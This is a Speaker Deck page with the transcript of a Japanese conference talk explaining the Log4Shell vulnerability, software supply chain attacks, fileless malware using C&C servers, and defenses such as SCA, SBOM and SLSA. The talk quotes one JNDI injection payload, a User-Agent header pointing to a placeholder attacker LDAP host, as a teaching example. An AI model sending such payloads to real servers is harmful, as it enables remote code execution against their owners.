Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を...
Search
kitaji0306
October 27, 2024
Technology
0
410
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう
2024-10-27 に開催された JJUG CCC 2024 Fall の登壇資料です。
(デモ部分はスクショに差し替えてます)
kitaji0306
October 27, 2024
Tweet
Share
More Decks by kitaji0306
See All by kitaji0306
セキュリティにおける暗号の基礎とこれからの話
kitaji0306
0
400
Other Decks in Technology
See All in Technology
Node-REDのFunctionノードでMCPサーバーの実装を試してみた / Node-RED × MCP 勉強会 vol.1
you
PRO
0
110
なぜ私はいま、ここにいるのか? #もがく中堅デザイナー #プロダクトデザイナー
bengo4com
0
410
Understanding_Thread_Tuning_for_Inference_Servers_of_Deep_Models.pdf
lycorptech_jp
PRO
0
120
登壇ネタの見つけ方 / How to find talk topics
pinkumohikan
5
440
あなたの声を届けよう! 女性エンジニア登壇の意義とアウトプット実践ガイド #wttjp / Call for Your Voice
kondoyuko
4
440
第9回情シス転職ミートアップ_テックタッチ株式会社
forester3003
0
230
Tech-Verse 2025 Keynote
lycorptech_jp
PRO
0
110
2025-06-26_Lightning_Talk_for_Lightning_Talks
_hashimo2
2
100
Observability в PHP без боли. Олег Мифле, тимлид Altenar
lamodatech
0
350
Welcome to the LLM Club
koic
0
170
Navigation3でViewModelにデータを渡す方法
mikanichinose
0
220
OpenHands🤲にContributeしてみた
kotauchisunsun
1
430
Featured
See All Featured
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
161
15k
Art, The Web, and Tiny UX
lynnandtonic
299
21k
The Straight Up "How To Draw Better" Workshop
denniskardys
234
140k
Fashionably flexible responsive web design (full day workshop)
malarkey
407
66k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.3k
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
331
22k
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.7k
How to Think Like a Performance Engineer
csswizardry
24
1.7k
Done Done
chrislema
184
16k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
17
940
The Pragmatic Product Professional
lauravandoore
35
6.7k
Transcript
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島 悠 #jjug_ccc #jjug_ccc_i
アジェンダ • 自己紹介 • Log4Shellから約3年どんな脆弱性だったか • ソフトウェアサプライチェーン攻撃 • リモートから操作されるイメージ •
デモ • まとめ • 最後に
自己紹介 セキュリティアーキテクト(名乗ってます) • セキュリティしか勝たん • プリセールス、人材育成、啓蒙活動などなど • @kitaji0306 北島 悠(キタジー)
Log4Shellから約3年どんな脆弱性だったか
どんな脆弱性だったか • 2021年12月10日 くらいから話題となった • Javaの有名ログライブラリApache Log4j2 起因 •
サーバ内部でコード(コマンド)実行可能 リモートコード実行 (RCE:Remote Code Execution)
当時の全社メール 2021年12月10日(金) SNSで情報拡散 画像引用元: JPCERT/CC:Apache Log4j2のRCE脆 弱性(CVE-2021-44228)を狙う攻撃観測 2021年12月13日(月)15:57
攻撃の一連の流れ LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent:
${jndi:ldap://evil.xa/x} 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信
技術要素確認 • JNDI(Java Naming and Directory Interface) ◦ 外部リソース(LDAP等)
に接続する仕組を提供 • LDAP(Lightweight Directory Access Protocol) ◦ ディレクトリ(テキスト)情報 と通信するプロトコル • Serialize(シリアライズ) ◦ オブジェクト をbyte形式(テキストも可)に可逆変換
攻撃された具体例 画像引用:マインクラフト公式サイト (https://www.minecraft.net/ja-jp)
Log4shellという脆弱性の恐ろしいところ • 高リスクの脆弱性(CVSSスコア:10.0も有り) ◦ リモートコード実行 はシステム侵入の起点にもなる • パッチより先に攻撃方法のPoCが公開された ◦
アプリケーションで即時防御不可能なゼロデイ攻撃 • 多数のライブラリに暗黙的に内包されていた ◦ アプリの影響範囲特定が難しい ソフトウェアサプライチェーンの課題
ソフトウェアサプライチェーン攻撃
主にサプライヤーを経由する攻撃のこと サプライチェーン攻撃とは 大企業 取引先 海外子会社 強固なセキュリティで直 接攻撃は困難 セキュリティ対策の甘
い関連企業を攻撃 間接的に攻撃 攻撃者
ソフトウェアサプライチェーン攻撃とは 監 視 運 用 デプロイ コード ビルド テスト 計 画 リリース
Dev Ops 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃
どうしたらOSSを安全に利用出来る? 早い段階でのリスク発見と対策が必要 • SCA(ソフトウェア構成分析) ◦ 脆弱性スキャン による脆弱なライブラリの検知 • SBOM(ソフトウェア部品票)
◦ ソフトウェアサプライチェーンの可視化 • SLSA(Supply-chain Levels for Software Artifacts) ◦ 開発工程の成熟度 を測るセキュリティフレームワーク
リモートから操作されるイメージ
ファイル実行で動作 (従来のマルウェア) 仕様書.docx … 仕様書.docx .exe ファイル名を長くし て拡張子を隠す
(偽の拡張子は表 示される) 気づかないで実行
コマンドを受信して動作 (ファイルレスマルウェア) PC(Windows) PC内部のPowerShell C&C (コマンド&コントロール)サーバ
攻撃者 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む スクリプトから PowerShellを起動 C&Cサーバに接続 マルウェアをダウンロー ドして活動開始 ① ② ③ ④
デモ
正当な理由なく ウイルス作成、実行、不正アクセスは 犯罪です。 駄目絶対!! と、その前に
デモの登場人物及び環境 • Attacker(攻撃者) ◦ AWS EC2 ▪ ここからリモート操作する(C&Cサーバ)
• Victim(被害者) ◦ ウイルス対策ソフトの入ったWindows11(このPC) ▪ Java開発者がOSSのライブラリを利用したアプリを開発中
デモのシナリオ • 1:Attacker ◦ サーバで接続待ち受けコマンド実行 • 2:Victim
◦ ぬるぽライブラリを使った関数のテストを実行 ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続 • 3:Attacker ◦ ぬるぽライブラリを実行したPCのコンソールを操作
デモ画面へGO
None
None
まとめ
まとめ • Log4Shellは非常に恐ろしい脆弱性だった ◦ 攻撃の仕組み を理解するだけでも有用 • ソフトウェアサプライチェーン攻撃対策 ◦ 開発工程早期のセキュリティ対策
が有用 • ツール(SSHやRDP)不要でリモート操作可能 ◦ 対策ソフト以外に各自のセキュリティ意識も重要 自分たちのソフトウェアを自分たちで守る
最後に
みんなの学びを少しでも公開すると 新たな気づきを得る人が増えます。 どこでも良いので アウトプット してみましょ!!